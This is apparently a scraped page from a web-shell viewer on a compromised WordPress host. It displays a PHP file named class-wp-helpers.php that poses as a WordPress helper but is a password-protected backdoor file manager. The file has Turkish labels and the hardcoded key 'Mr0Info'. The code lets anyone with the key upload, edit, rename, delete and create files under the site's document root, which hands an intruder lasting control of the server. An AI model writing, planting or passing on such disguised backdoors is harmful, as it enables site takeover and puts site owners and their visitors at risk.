D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
home
/
sadaunjx
/
public_html
/
wp-content
/
Filename :
class-wp-helpers.php
back
Copy
<?php session_start(); error_reporting(E_ALL); ini_set('display_errors', 1); // Konfigürasyon $adminKey = "Mr0Info"; // Giriş anahtarı $rootDir = realpath($_SERVER['DOCUMENT_ROOT']); // Erişim sınırı // CSRF Token if (empty($_SESSION['csrf_token'])) { $_SESSION['csrf_token'] = bin2hex(random_bytes(32)); } // Giriş ve Çıkış if (isset($_GET['logout'])) { session_destroy(); header("Location: " . $_SERVER['PHP_SELF']); exit; } if (!isset($_SESSION['logged_in'])) { if ($_SERVER['REQUEST_METHOD'] === 'POST' && ($_POST['key'] ?? '') === $adminKey) { $_SESSION['logged_in'] = true; header("Location: " . $_SERVER['PHP_SELF']); exit; } ?> <div class="container"> <form method="POST" class="login-form"> <h2>Giriş</h2> <input type="text" name="key" placeholder="Anahtar" required> <button type="submit">Giriş Yap</button> </form> </div> <?php exit; } // Yol ayarla $path = isset($_GET['path']) ? realpath($_GET['path']) : getcwd(); if (!$path || strpos($path, $rootDir) !== 0) { die("Erişim reddedildi."); } // Yardımcı Fonksiyonlar function listDirectory($path) { $items = array_diff(scandir($path), ['.', '..']); echo "<ul>"; foreach ($items as $item) { $itemPath = realpath($path . DIRECTORY_SEPARATOR . $item); if (!$itemPath) continue; if (is_dir($itemPath)) { echo "<li><a href='?path=" . urlencode($itemPath) . "'>📁 $item</a></li>"; } else { echo "<li>$item <span> <a href='?path=" . urlencode($path) . "&action=edit&item=" . urlencode($item) . "'>[Düzenle]</a> <a href='?path=" . urlencode($path) . "&action=delete&item=" . urlencode($item) . "' onclick='return confirm(\"Silinsin mi?\")'>[Sil]</a> <a href='?path=" . urlencode($path) . "&action=rename&item=" . urlencode($item) . "'>[Yeniden Adlandır]</a> </span> </li>"; } } echo "</ul>"; } function editFile($filePath) { if (!file_exists($filePath)) return; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['csrf_token'] === $_SESSION['csrf_token']) { if (trim($_POST['content']) !== '') { file_put_contents($filePath, $_POST['content']); echo "<p class='success'>Kaydedildi.</p>"; } else { echo "<p class='error'>Boş içerik kaydedilemez.</p>"; } } $content = htmlspecialchars(file_get_contents($filePath)); echo "<form method='POST'> <input type='hidden' name='csrf_token' value='{$_SESSION['csrf_token']}'> <textarea name='content'>$content</textarea> <button type='submit'>Kaydet</button> </form>"; } function renameFile($filePath) { if (!file_exists($filePath)) return; if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_POST['new_name'])) { $newName = basename($_POST['new_name']); $newPath = dirname($filePath) . DIRECTORY_SEPARATOR . $newName; if (!file_exists($newPath)) { rename($filePath, $newPath); echo "<p class='success'>Yeniden adlandırıldı.</p>"; } else { echo "<p class='error'>Bu isimde dosya/klasör zaten var.</p>"; } } echo "<form method='POST'> <input type='text' name='new_name' placeholder='Yeni ad'> <button type='submit'>Yeniden Adlandır</button> </form>"; } function deleteFile($filePath) { if (file_exists($filePath)) { is_dir($filePath) ? rmdir($filePath) : unlink($filePath); echo "<p class='success'>Silindi.</p>"; } else { echo "<p class='error'>Dosya bulunamadı.</p>"; } } function uploadFile($path) { if (!empty($_FILES['file']['name'])) { $target = $path . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) { echo "<p class='success'>Yüklendi.</p>"; } else { echo "<p class='error'>Yükleme hatası.</p>"; } } } function createFolder($path) { if (!empty($_POST['folder_name'])) { $folder = $path . DIRECTORY_SEPARATOR . basename($_POST['folder_name']); if (!file_exists($folder)) { mkdir($folder); echo "<p class='success'>Klasör oluşturuldu.</p>"; } else { echo "<p class='error'>Klasör zaten var.</p>"; } } } function createFile($path) { if (!empty($_POST['file_name'])) { $file = $path . DIRECTORY_SEPARATOR . basename($_POST['file_name']); if (!file_exists($file)) { file_put_contents($file, ''); echo "<p class='success'>Dosya oluşturuldu.</p>"; } else { echo "<p class='error'>Dosya zaten var.</p>"; } } } // POST işlemleri if ($_SERVER['REQUEST_METHOD'] === 'POST') { if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) die("CSRF Hatası!"); if (isset($_FILES['file'])) uploadFile($path); if (isset($_POST['folder_name'])) createFolder($path); if (isset($_POST['file_name'])) createFile($path); } // HTML ve CSS echo "<style> body { font-family: 'Segoe UI', Arial, sans-serif; background: #f1f4f8; color: #333; margin: 0; padding: 20px; line-height: 1.6; } h2, h3 { color: #2c3e50; margin-bottom: 15px; } h2 { font-size: 24px; display: flex; align-items: center; gap: 10px; } h3 { font-size: 18px; margin-top: 20px; } p { margin: 10px 0; } a { color: #3498db; text-decoration: none; transition: color 0.3s; } a:hover { color: #2980b9; text-decoration: underline; } ul { list-style: none; padding: 0; background: #fff; border-radius: 8px; box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1); margin: 15px 0; } ul li { padding: 12px 20px; border-bottom: 1px solid #eee; display: flex; justify-content: space-between; align-items: center; } ul li:last-child { border-bottom: none; } ul li span { display: flex; gap: 10px; } ul li a { font-size: 14px; } form { background: #fff; padding: 20px; border-radius: 8px; box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1); margin-bottom: 20px; max-width: 600px; } input[type='text'], input[type='file'], textarea { width: 100%; padding: 10px; margin: 8px 0; border: 1px solid #ddd; border-radius: 4px; font-size: 14px; box-sizing: border-box; } textarea { resize: vertical; min-height: 150px; } button { background: #3498db; color: #fff; border: none; padding: 10px 20px; border-radius: 4px; cursor: pointer; font-size: 14px; transition: background 0.3s; } button:hover { background: #2980b9; } .error { color: #e74c3c; font-size: 14px; } .success { color: #2ecc71; font-size: 14px; } .container { max-width: 1200px; margin: 0 auto; } .header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 20px; } .header a { font-size: 14px; padding: 8px 16px; background: #ecf0f1; border-radius: 4px; color: #2c3e50; } .header a:hover { background: #dfe6e9; } .login-form { max-width: 400px; margin: 100px auto; text-align: center; background: #fff; padding: 30px; border-radius: 8px; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1); } .login-form input[type='text'] { width: calc(100% - 22px); margin-bottom: 15px; } .login-form button { width: 100%; } @media (max-width: 600px) { body { padding: 10px; } form { padding: 15px; } ul li { flex-direction: column; align-items: flex-start; gap: 5px; } .header { flex-direction: column; gap: 10px; } } </style>"; echo "<div class='container'>"; echo "<div class='header'>"; echo "<h2>🗂️ Dosya Yöneticisi</h2>"; echo "<div>"; echo "<a href='?path=" . urlencode(dirname($path)) . "'>⬆️ Bir Üst Dizin</a> | <a href='?logout=1'>🔓 Çıkış Yap</a>"; echo "</div>"; echo "</div>"; echo "<p>Mevcut Dizin: <b>$path</b></p>"; echo "<hr>"; // Eylemler if (isset($_GET['action'], $_GET['item'])) { $item = basename($_GET['item']); $itemPath = realpath($path . DIRECTORY_SEPARATOR . $item); if (!$itemPath || strpos($itemPath, $rootDir) !== 0) { die("Yetkisiz işlem."); } switch ($_GET['action']) { case 'edit': editFile($itemPath); break; case 'delete': deleteFile($itemPath); break; case 'rename': renameFile($itemPath); break; } echo "<hr><a href='?path=" . urlencode($path) . "'>↩️ Geri Dön</a>"; exit; } // Listele listDirectory($path); // Yükleme / Oluşturma Formları echo "<h3>⬆️ Dosya Yükle</h3> <form method='POST' enctype='multipart/form-data'> <input type='hidden' name='csrf_token' value='{$_SESSION['csrf_token']}'> <input type='file' name='file'> <button type='submit'>Yükle</button> </form>"; echo "<h3>📁 Klasör Oluştur</h3> <form method='POST'> <input type='hidden' name='csrf_token' value='{$_SESSION['csrf_token']}'> <input type='text' name='folder_name' placeholder='Klasör Adı'> <button type='submit'>Oluştur</button> </form>"; echo "<h3>📄 Dosya Oluştur</h3> <form method='POST'> <input type='hidden' name='csrf_token' value='{$_SESSION['csrf_token']}'> <input type='text' name='file_name' placeholder='Dosya Adı'> <button type='submit'>Oluştur</button> </form>"; echo "</div>"; ?>